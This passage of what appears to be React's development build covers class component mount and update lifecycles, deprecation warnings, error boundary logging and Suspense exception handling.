18230 didWarnAboutUninitializedState.add(componentName);
18231
18232 error('`%s` uses `getDerivedStateFromProps` but its initial state is ' + '%s. This is not recommended. Instead, define the initial state by ' + 'assigning an object to `this.state` in the constructor of `%s`. ' + 'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.', componentName, instance.state === null ? 'null' : 'undefined', componentName);
18233 }
18234 } // If new component APIs are defined, "unsafe" lifecycles won't be called.
18235 // Warn about these lifecycles if they are present.
18236 // Don't warn about react-lifecycles-compat polyfilled methods though.
18237
18238
18239 if (typeof ctor.getDerivedStateFromProps === 'function' || typeof instance.getSnapshotBeforeUpdate === 'function') {
18240 var foundWillMountName = null;
18241 var foundWillReceivePropsName = null;
18242 var foundWillUpdateName = null;
18243
18244 if (typeof instance.componentWillMount === 'function' && instance.componentWillMount.__suppressDeprecationWarning !== true) {
18245 foundWillMountName = 'componentWillMount';
18246 } else if (typeof instance.UNSAFE_componentWillMount === 'function') {
18247 foundWillMountName = 'UNSAFE_componentWillMount';
18248 }
18249
18250 if (typeof instance.componentWillReceiveProps === 'function' && instance.componentWillReceiveProps.__suppressDeprecationWarning !== true) {
18251 foundWillReceivePropsName = 'componentWillReceiveProps';
18252 } else if (typeof instance.UNSAFE_componentWillReceiveProps === 'function') {
18253 foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps';
18254 }
18255
18256 if (typeof instance.componentWillUpdate === 'function' && instance.componentWillUpdate.__suppressDeprecationWarning !== true) {
18257 foundWillUpdateName = 'componentWillUpdate';
18258 } else if (typeof instance.UNSAFE_componentWillUpdate === 'function') {
18259 foundWillUpdateName = 'UNSAFE_componentWillUpdate';
18260 }
18261
18262 if (foundWillMountName !== null || foundWillReceivePropsName !== null || foundWillUpdateName !== null) {
18263 var _componentName = getComponentNameFromType(ctor) || 'Component';
18264
18265 var newApiName = typeof ctor.getDerivedStateFromProps === 'function' ? 'getDerivedStateFromProps()' : 'getSnapshotBeforeUpdate()';
18266
18267 if (!didWarnAboutLegacyLifecyclesAndDerivedState.has(_componentName)) {
18268 didWarnAboutLegacyLifecyclesAndDerivedState.add(_componentName);
18269
18270 error('Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' + '%s uses %s but also contains the following legacy lifecycles:%s%s%s\n\n' + 'The above lifecycles should be removed. Learn more about this warning here:\n' + 'https://reactjs.org/link/unsafe-component-lifecycles', _componentName, newApiName, foundWillMountName !== null ? "\n " + foundWillMountName : '', foundWillReceivePropsName !== null ? "\n " + foundWillReceivePropsName : '', foundWillUpdateName !== null ? "\n " + foundWillUpdateName : '');
18271 }
18272 }
18273 }
18274 } // Cache unmasked context so we can avoid recreating masked context unless necessary.
18275 // ReactFiberContext usually updates this cache but can't for newly-created instances.
18276
18277
18278 if (isLegacyContextConsumer) {
18279 cacheContext(workInProgress, unmaskedContext, context);
18280 }
18281
18282 return instance;
18283 }
18284
18285 function callComponentWillMount(workInProgress, instance) {
18286 var oldState = instance.state;
18287
18288 if (typeof instance.componentWillMount === 'function') {
18289 instance.componentWillMount();
18290 }
18291
18292 if (typeof instance.UNSAFE_componentWillMount === 'function') {
18293 instance.UNSAFE_componentWillMount();
18294 }
18295
18296 if (oldState !== instance.state) {
18297 {
18298 error('%s.componentWillMount(): Assigning directly to this.state is ' + "deprecated (except inside a component's " + 'constructor). Use setState instead.', getComponentNameFromFiber(workInProgress) || 'Component');
18299 }
18300
18301 classComponentUpdater.enqueueReplaceState(instance, instance.state, null);
18302 }
18303 }
18304
18305 function callComponentWillReceiveProps(workInProgress, instance, newProps, nextContext) {
18306 var oldState = instance.state;
18307
18308 if (typeof instance.componentWillReceiveProps === 'function') {
18309 instance.componentWillReceiveProps(newProps, nextContext);
18310 }
18311
18312 if (typeof instance.UNSAFE_componentWillReceiveProps === 'function') {
18313 instance.UNSAFE_componentWillReceiveProps(newProps, nextContext);
18314 }
18315
18316 if (instance.state !== oldState) {
18317 {
18318 var componentName = getComponentNameFromFiber(workInProgress) || 'Component';
18319
18320 if (!didWarnAboutStateAssignmentForComponent.has(componentName)) {
18321 didWarnAboutStateAssignmentForComponent.add(componentName);
18322
18323 error('%s.componentWillReceiveProps(): Assigning directly to ' + "this.state is deprecated (except inside a component's " + 'constructor). Use setState instead.', componentName);
18324 }
18325 }
18326
18327 classComponentUpdater.enqueueReplaceState(instance, instance.state, null);
18328 }
18329 } // Invokes the mount life-cycles on a previously never rendered instance.
18330
18331
18332 function mountClassInstance(workInProgress, ctor, newProps, renderLanes) {
18333 {
18334 checkClassInstance(workInProgress, ctor, newProps);
18335 }
18336
18337 var instance = workInProgress.stateNode;
18338 instance.props = newProps;
18339 instance.state = workInProgress.memoizedState;
18340 instance.refs = {};
18341 initializeUpdateQueue(workInProgress);
18342 var contextType = ctor.contextType;
18343
18344 if (typeof contextType === 'object' && contextType !== null) {
18345 instance.context = readContext(contextType);
18346 } else {
18347 var unmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
18348 instance.context = getMaskedContext(workInProgress, unmaskedContext);
18349 }
18350
18351 {
18352 if (instance.state === newProps) {
18353 var componentName = getComponentNameFromType(ctor) || 'Component';
18354
18355 if (!didWarnAboutDirectlyAssigningPropsToState.has(componentName)) {
18356 didWarnAboutDirectlyAssigningPropsToState.add(componentName);
18357
18358 error('%s: It is not recommended to assign props directly to state ' + "because updates to props won't be reflected in state. " + 'In most cases, it is better to use props directly.', componentName);
18359 }
18360 }
18361
18362 if (workInProgress.mode & StrictLegacyMode) {
18363 ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress, instance);
18364 }
18365
18366 {
18367 ReactStrictModeWarnings.recordUnsafeLifecycleWarnings(workInProgress, instance);
18368 }
18369 }
18370
18371 instance.state = workInProgress.memoizedState;
18372 var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
18373
18374 if (typeof getDerivedStateFromProps === 'function') {
18375 applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, newProps);
18376 instance.state = workInProgress.memoizedState;
18377 } // In order to support react-lifecycles-compat polyfilled components,
18378 // Unsafe lifecycles should not be invoked for components using the new APIs.
18379
18380
18381 if (typeof ctor.getDerivedStateFromProps !== 'function' && typeof instance.getSnapshotBeforeUpdate !== 'function' && (typeof instance.UNSAFE_componentWillMount === 'function' || typeof instance.componentWillMount === 'function')) {
18382 callComponentWillMount(workInProgress, instance); // If we had additional state updates during this life-cycle, let's
18383 // process them now.
18384
18385 processUpdateQueue(workInProgress, newProps, instance, renderLanes);
18386 instance.state = workInProgress.memoizedState;
18387 }
18388
18389 if (typeof instance.componentDidMount === 'function') {
18390 var fiberFlags = Update;
18391
18392 {
18393 fiberFlags |= LayoutStatic;
18394 }
18395
18396 if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
18397 fiberFlags |= MountLayoutDev;
18398 }
18399
18400 workInProgress.flags |= fiberFlags;
18401 }
18402 }
18403
18404 function resumeMountClassInstance(workInProgress, ctor, newProps, renderLanes) {
18405 var instance = workInProgress.stateNode;
18406 var oldProps = workInProgress.memoizedProps;
18407 instance.props = oldProps;
18408 var oldContext = instance.context;
18409 var contextType = ctor.contextType;
18410 var nextContext = emptyContextObject;
18411
18412 if (typeof contextType === 'object' && contextType !== null) {
18413 nextContext = readContext(contextType);
18414 } else {
18415 var nextLegacyUnmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
18416 nextContext = getMaskedContext(workInProgress, nextLegacyUnmaskedContext);
18417 }
18418
18419 var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
18420 var hasNewLifecycles = typeof getDerivedStateFromProps === 'function' || typeof instance.getSnapshotBeforeUpdate === 'function'; // Note: During these life-cycles, instance.props/instance.state are what
18421 // ever the previously attempted to render - not the "current". However,
18422 // during componentDidUpdate we pass the "current" props.
18423 // In order to support react-lifecycles-compat polyfilled components,
18424 // Unsafe lifecycles should not be invoked for components using the new APIs.
18425
18426 if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillReceiveProps === 'function' || typeof instance.componentWillReceiveProps === 'function')) {
18427 if (oldProps !== newProps || oldContext !== nextContext) {
18428 callComponentWillReceiveProps(workInProgress, instance, newProps, nextContext);
18429 }
18430 }
18431
18432 resetHasForceUpdateBeforeProcessing();
18433 var oldState = workInProgress.memoizedState;
18434 var newState = instance.state = oldState;
18435 processUpdateQueue(workInProgress, newProps, instance, renderLanes);
18436 newState = workInProgress.memoizedState;
18437
18438 if (oldProps === newProps && oldState === newState && !hasContextChanged() && !checkHasForceUpdateAfterProcessing()) {
18439 // If an update was already in progress, we should schedule an Update
18440 // effect even though we're bailing out, so that cWU/cDU are called.
18441 if (typeof instance.componentDidMount === 'function') {
18442 var fiberFlags = Update;
18443
18444 {
18445 fiberFlags |= LayoutStatic;
18446 }
18447
18448 if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
18449 fiberFlags |= MountLayoutDev;
18450 }
18451
18452 workInProgress.flags |= fiberFlags;
18453 }
18454
18455 return false;
18456 }
18457
18458 if (typeof getDerivedStateFromProps === 'function') {
18459 applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, newProps);
18460 newState = workInProgress.memoizedState;
18461 }
18462
18463 var shouldUpdate = checkHasForceUpdateAfterProcessing() || checkShouldComponentUpdate(workInProgress, ctor, oldProps, newProps, oldState, newState, nextContext);
18464
18465 if (shouldUpdate) {
18466 // In order to support react-lifecycles-compat polyfilled components,
18467 // Unsafe lifecycles should not be invoked for components using the new APIs.
18468 if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillMount === 'function' || typeof instance.componentWillMount === 'function')) {
18469 if (typeof instance.componentWillMount === 'function') {
18470 instance.componentWillMount();
18471 }
18472
18473 if (typeof instance.UNSAFE_componentWillMount === 'function') {
18474 instance.UNSAFE_componentWillMount();
18475 }
18476 }
18477
18478 if (typeof instance.componentDidMount === 'function') {
18479 var _fiberFlags = Update;
18480
18481 {
18482 _fiberFlags |= LayoutStatic;
18483 }
18484
18485 if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
18486 _fiberFlags |= MountLayoutDev;
18487 }
18488
18489 workInProgress.flags |= _fiberFlags;
18490 }
18491 } else {
18492 // If an update was already in progress, we should schedule an Update
18493 // effect even though we're bailing out, so that cWU/cDU are called.
18494 if (typeof instance.componentDidMount === 'function') {
18495 var _fiberFlags2 = Update;
18496
18497 {
18498 _fiberFlags2 |= LayoutStatic;
18499 }
18500
18501 if ( (workInProgress.mode & StrictEffectsMode) !== NoMode) {
18502 _fiberFlags2 |= MountLayoutDev;
18503 }
18504
18505 workInProgress.flags |= _fiberFlags2;
18506 } // If shouldComponentUpdate returned false, we should still update the
18507 // memoized state to indicate that this work can be reused.
18508
18509
18510 workInProgress.memoizedProps = newProps;
18511 workInProgress.memoizedState = newState;
18512 } // Update the existing instance's state, props, and context pointers even
18513 // if shouldComponentUpdate returns false.
18514
18515
18516 instance.props = newProps;
18517 instance.state = newState;
18518 instance.context = nextContext;
18519 return shouldUpdate;
18520 } // Invokes the update life-cycles and returns false if it shouldn't rerender.
18521
18522
18523 function updateClassInstance(current, workInProgress, ctor, newProps, renderLanes) {
18524 var instance = workInProgress.stateNode;
18525 cloneUpdateQueue(current, workInProgress);
18526 var unresolvedOldProps = workInProgress.memoizedProps;
18527 var oldProps = workInProgress.type === workInProgress.elementType ? unresolvedOldProps : resolveDefaultProps(workInProgress.type, unresolvedOldProps);
18528 instance.props = oldProps;
18529 var unresolvedNewProps = workInProgress.pendingProps;
18530 var oldContext = instance.context;
18531 var contextType = ctor.contextType;
18532 var nextContext = emptyContextObject;
18533
18534 if (typeof contextType === 'object' && contextType !== null) {
18535 nextContext = readContext(contextType);
18536 } else {
18537 var nextUnmaskedContext = getUnmaskedContext(workInProgress, ctor, true);
18538 nextContext = getMaskedContext(workInProgress, nextUnmaskedContext);
18539 }
18540
18541 var getDerivedStateFromProps = ctor.getDerivedStateFromProps;
18542 var hasNewLifecycles = typeof getDerivedStateFromProps === 'function' || typeof instance.getSnapshotBeforeUpdate === 'function'; // Note: During these life-cycles, instance.props/instance.state are what
18543 // ever the previously attempted to render - not the "current". However,
18544 // during componentDidUpdate we pass the "current" props.
18545 // In order to support react-lifecycles-compat polyfilled components,
18546 // Unsafe lifecycles should not be invoked for components using the new APIs.
18547
18548 if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillReceiveProps === 'function' || typeof instance.componentWillReceiveProps === 'function')) {
18549 if (unresolvedOldProps !== unresolvedNewProps || oldContext !== nextContext) {
18550 callComponentWillReceiveProps(workInProgress, instance, newProps, nextContext);
18551 }
18552 }
18553
18554 resetHasForceUpdateBeforeProcessing();
18555 var oldState = workInProgress.memoizedState;
18556 var newState = instance.state = oldState;
18557 processUpdateQueue(workInProgress, newProps, instance, renderLanes);
18558 newState = workInProgress.memoizedState;
18559
18560 if (unresolvedOldProps === unresolvedNewProps && oldState === newState && !hasContextChanged() && !checkHasForceUpdateAfterProcessing() && !(enableLazyContextPropagation )) {
18561 // If an update was already in progress, we should schedule an Update
18562 // effect even though we're bailing out, so that cWU/cDU are called.
18563 if (typeof instance.componentDidUpdate === 'function') {
18564 if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
18565 workInProgress.flags |= Update;
18566 }
18567 }
18568
18569 if (typeof instance.getSnapshotBeforeUpdate === 'function') {
18570 if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
18571 workInProgress.flags |= Snapshot;
18572 }
18573 }
18574
18575 return false;
18576 }
18577
18578 if (typeof getDerivedStateFromProps === 'function') {
18579 applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, newProps);
18580 newState = workInProgress.memoizedState;
18581 }
18582
18583 var shouldUpdate = checkHasForceUpdateAfterProcessing() || checkShouldComponentUpdate(workInProgress, ctor, oldProps, newProps, oldState, newState, nextContext) || // TODO: In some cases, we'll end up checking if context has changed twice,
18584 // both before and after `shouldComponentUpdate` has been called. Not ideal,
18585 // but I'm loath to refactor this function. This only happens for memoized
18586 // components so it's not that common.
18587 enableLazyContextPropagation ;
18588
18589 if (shouldUpdate) {
18590 // In order to support react-lifecycles-compat polyfilled components,
18591 // Unsafe lifecycles should not be invoked for components using the new APIs.
18592 if (!hasNewLifecycles && (typeof instance.UNSAFE_componentWillUpdate === 'function' || typeof instance.componentWillUpdate === 'function')) {
18593 if (typeof instance.componentWillUpdate === 'function') {
18594 instance.componentWillUpdate(newProps, newState, nextContext);
18595 }
18596
18597 if (typeof instance.UNSAFE_componentWillUpdate === 'function') {
18598 instance.UNSAFE_componentWillUpdate(newProps, newState, nextContext);
18599 }
18600 }
18601
18602 if (typeof instance.componentDidUpdate === 'function') {
18603 workInProgress.flags |= Update;
18604 }
18605
18606 if (typeof instance.getSnapshotBeforeUpdate === 'function') {
18607 workInProgress.flags |= Snapshot;
18608 }
18609 } else {
18610 // If an update was already in progress, we should schedule an Update
18611 // effect even though we're bailing out, so that cWU/cDU are called.
18612 if (typeof instance.componentDidUpdate === 'function') {
18613 if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
18614 workInProgress.flags |= Update;
18615 }
18616 }
18617
18618 if (typeof instance.getSnapshotBeforeUpdate === 'function') {
18619 if (unresolvedOldProps !== current.memoizedProps || oldState !== current.memoizedState) {
18620 workInProgress.flags |= Snapshot;
18621 }
18622 } // If shouldComponentUpdate returned false, we should still update the
18623 // memoized props/state to indicate that this work can be reused.
18624
18625
18626 workInProgress.memoizedProps = newProps;
18627 workInProgress.memoizedState = newState;
18628 } // Update the existing instance's state, props, and context pointers even
18629 // if shouldComponentUpdate returns false.
18630
18631
18632 instance.props = newProps;
18633 instance.state = newState;
18634 instance.context = nextContext;
18635 return shouldUpdate;
18636 }
18637
18638 function createCapturedValueAtFiber(value, source) {
18639 // If the value is an error, call this function immediately after it is thrown
18640 // so the stack is accurate.
18641 return {
18642 value: value,
18643 source: source,
18644 stack: getStackByFiberInDevAndProd(source),
18645 digest: null
18646 };
18647 }
18648 function createCapturedValue(value, digest, stack) {
18649 return {
18650 value: value,
18651 source: null,
18652 stack: stack != null ? stack : null,
18653 digest: digest != null ? digest : null
18654 };
18655 }
18656
18657 // This module is forked in different environments.
18658 // By default, return `true` to log errors to the console.
18659 // Forks can return `false` if this isn't desirable.
18660 function showErrorDialog(boundary, errorInfo) {
18661 return true;
18662 }
18663
18664 function logCapturedError(boundary, errorInfo) {
18665 try {
18666 var logError = showErrorDialog(boundary, errorInfo); // Allow injected showErrorDialog() to prevent default console.error logging.
18667 // This enables renderers like ReactNative to better manage redbox behavior.
18668
18669 if (logError === false) {
18670 return;
18671 }
18672
18673 var error = errorInfo.value;
18674
18675 if (true) {
18676 var source = errorInfo.source;
18677 var stack = errorInfo.stack;
18678 var componentStack = stack !== null ? stack : ''; // Browsers support silencing uncaught errors by calling
18679 // `preventDefault()` in window `error` handler.
18680 // We record this information as an expando on the error.
18681
18682 if (error != null && error._suppressLogging) {
18683 if (boundary.tag === ClassComponent) {
18684 // The error is recoverable and was silenced.
18685 // Ignore it and don't print the stack addendum.
18686 // This is handy for testing error boundaries without noise.
18687 return;
18688 } // The error is fatal. Since the silencing might have
18689 // been accidental, we'll surface it anyway.
18690 // However, the browser would have silenced the original error
18691 // so we'll print it first, and then print the stack addendum.
18692
18693
18694 console['error'](error); // Don't transform to our wrapper
18695 // For a more detailed description of this block, see:
18696 // https://github.com/facebook/react/pull/13384
18697 }
18698
18699 var componentName = source ? getComponentNameFromFiber(source) : null;
18700 var componentNameMessage = componentName ? "The above error occurred in the <" + componentName + "> component:" : 'The above error occurred in one of your React components:';
18701 var errorBoundaryMessage;
18702
18703 if (boundary.tag === HostRoot) {
18704 errorBoundaryMessage = 'Consider adding an error boundary to your tree to customize error handling behavior.\n' + 'Visit https://reactjs.org/link/error-boundaries to learn more about error boundaries.';
18705 } else {
18706 var errorBoundaryName = getComponentNameFromFiber(boundary) || 'Anonymous';
18707 errorBoundaryMessage = "React will try to recreate this component tree from scratch " + ("using the error boundary you provided, " + errorBoundaryName + ".");
18708 }
18709
18710 var combinedMessage = componentNameMessage + "\n" + componentStack + "\n\n" + ("" + errorBoundaryMessage); // In development, we provide our own message with just the component stack.
18711 // We don't include the original error message and JS stack because the browser
18712 // has already printed it. Even if the application swallows the error, it is still
18713 // displayed by the browser thanks to the DEV-only fake event trick in ReactErrorUtils.
18714
18715 console['error'](combinedMessage); // Don't transform to our wrapper
18716 } else {
18717 // In production, we print the error directly.
18718 // This will include the message, the JS stack, and anything the browser wants to show.
18719 // We pass the error object instead of custom message so that the browser displays the error natively.
18720 console['error'](error); // Don't transform to our wrapper
18721 }
18722 } catch (e) {
18723 // This method must not throw, or React internal state will get messed up.
18724 // If console.error is overridden, or logCapturedError() shows a dialog that throws,
18725 // we want to report this error outside of the normal stack as a last resort.
18726 // https://github.com/facebook/react/issues/13188
18727 setTimeout(function () {
18728 throw e;
18729 });
18730 }
18731 }
18732
18733 var PossiblyWeakMap$1 = typeof WeakMap === 'function' ? WeakMap : Map;
18734
18735 function createRootErrorUpdate(fiber, errorInfo, lane) {
18736 var update = createUpdate(NoTimestamp, lane); // Unmount the root by rendering null.
18737
18738 update.tag = CaptureUpdate; // Caution: React DevTools currently depends on this property
18739 // being called "element".
18740
18741 update.payload = {
18742 element: null
18743 };
18744 var error = errorInfo.value;
18745
18746 update.callback = function () {
18747 onUncaughtError(error);
18748 logCapturedError(fiber, errorInfo);
18749 };
18750
18751 return update;
18752 }
18753
18754 function createClassErrorUpdate(fiber, errorInfo, lane) {
18755 var update = createUpdate(NoTimestamp, lane);
18756 update.tag = CaptureUpdate;
18757 var getDerivedStateFromError = fiber.type.getDerivedStateFromError;
18758
18759 if (typeof getDerivedStateFromError === 'function') {
18760 var error$1 = errorInfo.value;
18761
18762 update.payload = function () {
18763 return getDerivedStateFromError(error$1);
18764 };
18765
18766 update.callback = function () {
18767 {
18768 markFailedErrorBoundaryForHotReloading(fiber);
18769 }
18770
18771 logCapturedError(fiber, errorInfo);
18772 };
18773 }
18774
18775 var inst = fiber.stateNode;
18776
18777 if (inst !== null && typeof inst.componentDidCatch === 'function') {
18778 update.callback = function callback() {
18779 {
18780 markFailedErrorBoundaryForHotReloading(fiber);
18781 }
18782
18783 logCapturedError(fiber, errorInfo);
18784
18785 if (typeof getDerivedStateFromError !== 'function') {
18786 // To preserve the preexisting retry behavior of error boundaries,
18787 // we keep track of which ones already failed during this batch.
18788 // This gets reset before we yield back to the browser.
18789 // TODO: Warn in strict mode if getDerivedStateFromError is
18790 // not defined.
18791 markLegacyErrorBoundaryAsFailed(this);
18792 }
18793
18794 var error$1 = errorInfo.value;
18795 var stack = errorInfo.stack;
18796 this.componentDidCatch(error$1, {
18797 componentStack: stack !== null ? stack : ''
18798 });
18799
18800 {
18801 if (typeof getDerivedStateFromError !== 'function') {
18802 // If componentDidCatch is the only error boundary method defined,
18803 // then it needs to call setState to recover from errors.
18804 // If no state update is scheduled then the boundary will swallow the error.
18805 if (!includesSomeLane(fiber.lanes, SyncLane)) {
18806 error('%s: Error boundaries should implement getDerivedStateFromError(). ' + 'In that method, return a state update to display an error message or fallback UI.', getComponentNameFromFiber(fiber) || 'Unknown');
18807 }
18808 }
18809 }
18810 };
18811 }
18812
18813 return update;
18814 }
18815
18816 function attachPingListener(root, wakeable, lanes) {
18817 // Attach a ping listener
18818 //
18819 // The data might resolve before we have a chance to commit the fallback. Or,
18820 // in the case of a refresh, we'll never commit a fallback. So we need to
18821 // attach a listener now. When it resolves ("pings"), we can decide whether to
18822 // try rendering the tree again.
18823 //
18824 // Only attach a listener if one does not already exist for the lanes
18825 // we're currently rendering (which acts like a "thread ID" here).
18826 //
18827 // We only need to do this in concurrent mode. Legacy Suspense always
18828 // commits fallbacks synchronously, so there are no pings.
18829 var pingCache = root.pingCache;
18830 var threadIDs;
18831
18832 if (pingCache === null) {
18833 pingCache = root.pingCache = new PossiblyWeakMap$1();
18834 threadIDs = new Set();
18835 pingCache.set(wakeable, threadIDs);
18836 } else {
18837 threadIDs = pingCache.get(wakeable);
18838
18839 if (threadIDs === undefined) {
18840 threadIDs = new Set();
18841 pingCache.set(wakeable, threadIDs);
18842 }
18843 }
18844
18845 if (!threadIDs.has(lanes)) {
18846 // Memoize using the thread ID to prevent redundant listeners.
18847 threadIDs.add(lanes);
18848 var ping = pingSuspendedRoot.bind(null, root, wakeable, lanes);
18849
18850 {
18851 if (isDevToolsPresent) {
18852 // If we have pending work still, restore the original updaters
18853 restorePendingUpdaters(root, lanes);
18854 }
18855 }
18856
18857 wakeable.then(ping, ping);
18858 }
18859 }
18860
18861 function attachRetryListener(suspenseBoundary, root, wakeable, lanes) {
18862 // Retry listener
18863 //
18864 // If the fallback does commit, we need to attach a different type of
18865 // listener. This one schedules an update on the Suspense boundary to turn
18866 // the fallback state off.
18867 //
18868 // Stash the wakeable on the boundary fiber so we can access it in the
18869 // commit phase.
18870 //
18871 // When the wakeable resolves, we'll attempt to render the boundary
18872 // again ("retry").
18873 var wakeables = suspenseBoundary.updateQueue;
18874
18875 if (wakeables === null) {
18876 var updateQueue = new Set();
18877 updateQueue.add(wakeable);
18878 suspenseBoundary.updateQueue = updateQueue;
18879 } else {
18880 wakeables.add(wakeable);
18881 }
18882 }
18883
18884 function resetSuspendedComponent(sourceFiber, rootRenderLanes) {
18885 // A legacy mode Suspense quirk, only relevant to hook components.
18886
18887
18888 var tag = sourceFiber.tag;
18889
18890 if ((sourceFiber.mode & ConcurrentMode) === NoMode && (tag === FunctionComponent || tag === ForwardRef || tag === SimpleMemoComponent)) {
18891 var currentSource = sourceFiber.alternate;
18892
18893 if (currentSource) {
18894 sourceFiber.updateQueue = currentSource.updateQueue;
18895 sourceFiber.memoizedState = currentSource.memoizedState;
18896 sourceFiber.lanes = currentSource.lanes;
18897 } else {
18898 sourceFiber.updateQueue = null;
18899 sourceFiber.memoizedState = null;
18900 }
18901 }
18902 }
18903
18904 function getNearestSuspenseBoundaryToCapture(returnFiber) {
18905 var node = returnFiber;
18906
18907 do {
18908 if (node.tag === SuspenseComponent && shouldCaptureSuspense(node)) {
18909 return node;
18910 } // This boundary already captured during this render. Continue to the next
18911 // boundary.
18912
18913
18914 node = node.return;
18915 } while (node !== null);
18916
18917 return null;
18918 }
18919
18920 function markSuspenseBoundaryShouldCapture(suspenseBoundary, returnFiber, sourceFiber, root, rootRenderLanes) {
18921 // This marks a Suspense boundary so that when we're unwinding the stack,
18922 // it captures the suspended "exception" and does a second (fallback) pass.
18923 if ((suspenseBoundary.mode & ConcurrentMode) === NoMode) {
18924 // Legacy Mode Suspense
18925 //
18926 // If the boundary is in legacy mode, we should *not*
18927 // suspend the commit. Pretend as if the suspended component rendered
18928 // null and keep rendering. When the Suspense boundary completes,
18929 // we'll do a second pass to render the fallback.
18930 if (suspenseBoundary === returnFiber) {
18931 // Special case where we suspended while reconciling the children of
18932 // a Suspense boundary's inner Offscreen wrapper fiber. This happens
18933 // when a React.lazy component is a direct child of a
18934 // Suspense boundary.
18935 //
18936 // Suspense boundaries are implemented as multiple fibers, but they
18937 // are a single conceptual unit. The legacy mode behavior where we
18938 // pretend the suspended fiber committed as `null` won't work,
18939 // because in this case the "suspended" fiber is the inner
18940 // Offscreen wrapper.
18941 //
18942 // Because the contents of the boundary haven't started rendering
18943 // yet (i.e. nothing in the tree has partially rendered) we can
18944 // switch to the regular, concurrent mode behavior: mark the
18945 // boundary with ShouldCapture and enter the unwind phase.
18946 suspenseBoundary.flags |= ShouldCapture;
18947 } else {
18948 suspenseBoundary.flags |= DidCapture;
18949 sourceFiber.flags |= ForceUpdateForLegacySuspense; // We're going to commit this fiber even though it didn't complete.
18950 // But we shouldn't call any lifecycle methods or callbacks. Remove
18951 // all lifecycle effect tags.
18952
18953 sourceFiber.flags &= ~(LifecycleEffectMask | Incomplete);
18954
18955 if (sourceFiber.tag === ClassComponent) {
18956 var currentSourceFiber = sourceFiber.alternate;
18957
18958 if (currentSourceFiber === null) {
18959 // This is a new mount. Change the tag so it's not mistaken for a
18960 // completed class component. For example, we should not call
18961 // componentWillUnmount if it is deleted.
18962 sourceFiber.tag = IncompleteClassComponent;
18963 } else {
18964 // When we try rendering again, we should not reuse the current fiber,
18965 // since it's known to be in an inconsistent state. Use a force update to
18966 // prevent a bail out.
18967 var update = createUpdate(NoTimestamp, SyncLane);
18968 update.tag = ForceUpdate;
18969 enqueueUpdate(sourceFiber, update, SyncLane);
18970 }
18971 } // The source fiber did not complete. Mark it with Sync priority to
18972 // indicate that it still has pending work.
18973
18974
18975 sourceFiber.lanes = mergeLanes(sourceFiber.lanes, SyncLane);
18976 }
18977
18978 return suspenseBoundary;
18979 } // Confirmed that the boundary is in a concurrent mode tree. Continue
18980 // with the normal suspend path.
18981 //
18982 // After this we'll use a set of heuristics to determine whether this
18983 // render pass will run to completion or restart or "suspend" the commit.
18984 // The actual logic for this is spread out in different places.
18985 //
18986 // This first principle is that if we're going to suspend when we complete
18987 // a root, then we should also restart if we get an update or ping that
18988 // might unsuspend it, and vice versa. The only reason to suspend is
18989 // because you think you might want to restart before committing. However,
18990 // it doesn't make sense to restart only while in the period we're suspended.
18991 //
18992 // Restarting too aggressively is also not good because it starves out any
18993 // intermediate loading state. So we use heuristics to determine when.
18994 // Suspense Heuristics
18995 //
18996 // If nothing threw a Promise or all the same fallbacks are already showing,
18997 // then don't suspend/restart.
18998 //
18999 // If this is an initial render of a new tree of Suspense boundaries and
19000 // those trigger a fallback, then don't suspend/restart. We want to ensure
19001 // that we can show the initial loading state as quickly as possible.
19002 //
19003 // If we hit a "Delayed" case, such as when we'd switch from content back into
19004 // a fallback, then we should always suspend/restart. Transitions apply
19005 // to this case. If none is defined, JND is used instead.
19006 //
19007 // If we're already showing a fallback and it gets "retried", allowing us to show
19008 // another level, but there's still an inner boundary that would show a fallback,
19009 // then we suspend/restart for 500ms since the last time we showed a fallback
19010 // anywhere in the tree. This effectively throttles progressive loading into a
19011 // consistent train of commits. This also gives us an opportunity to restart to
19012 // get to the completed state slightly earlier.
19013 //
19014 // If there's ambiguity due to batching it's resolved in preference of:
19015 // 1) "delayed", 2) "initial render", 3) "retry".
19016 //
19017 // We want to ensure that a "busy" state doesn't get force committed. We want to
19018 // ensure that new initial loading states can commit as soon as possible.
19019
19020
19021 suspenseBoundary.flags |= ShouldCapture; // TODO: I think we can remove this, since we now use `DidCapture` in
19022 // the begin phase to prevent an early bailout.
19023
19024 suspenseBoundary.lanes = rootRenderLanes;
19025 return suspenseBoundary;
19026 }
19027
19028 function throwException(root, returnFiber, sourceFiber, value, rootRenderLanes) {
19029 // The source fiber did not complete.
19030 sourceFiber.flags |= Incomplete;
19031
19032 {
19033 if (isDevToolsPresent) {
19034 // If we have pending work still, restore the original updaters
19035 restorePendingUpdaters(root, rootRenderLanes);
19036 }
19037 }
19038
19039 if (value !== null && typeof value === 'object' && typeof value.then === 'function') {
19040 // This is a wakeable. The component suspended.
19041 var wakeable = value;
19042 resetSuspendedComponent(sourceFiber);
19043
19044 {
19045 if (getIsHydrating() && sourceFiber.mode & ConcurrentMode) {
19046 markDidThrowWhileHydratingDEV();
19047 }
19048 }
19049
19050
19051 var suspenseBoundary = getNearestSuspenseBoundaryToCapture(returnFiber);
19052
19053 if (suspenseBoundary !== null) {
19054 suspenseBoundary.flags &= ~ForceClientRender;
19055 markSuspenseBoundaryShouldCapture(suspenseBoundary, returnFiber, sourceFiber, root, rootRenderLanes); // We only attach ping listeners in concurrent mode. Legacy Suspense always
19056 // commits fallbacks synchronously, so there are no pings.
19057
19058 if (suspenseBoundary.mode & ConcurrentMode) {
19059 attachPingListener(root, wakeable, rootRenderLanes);
19060 }
19061
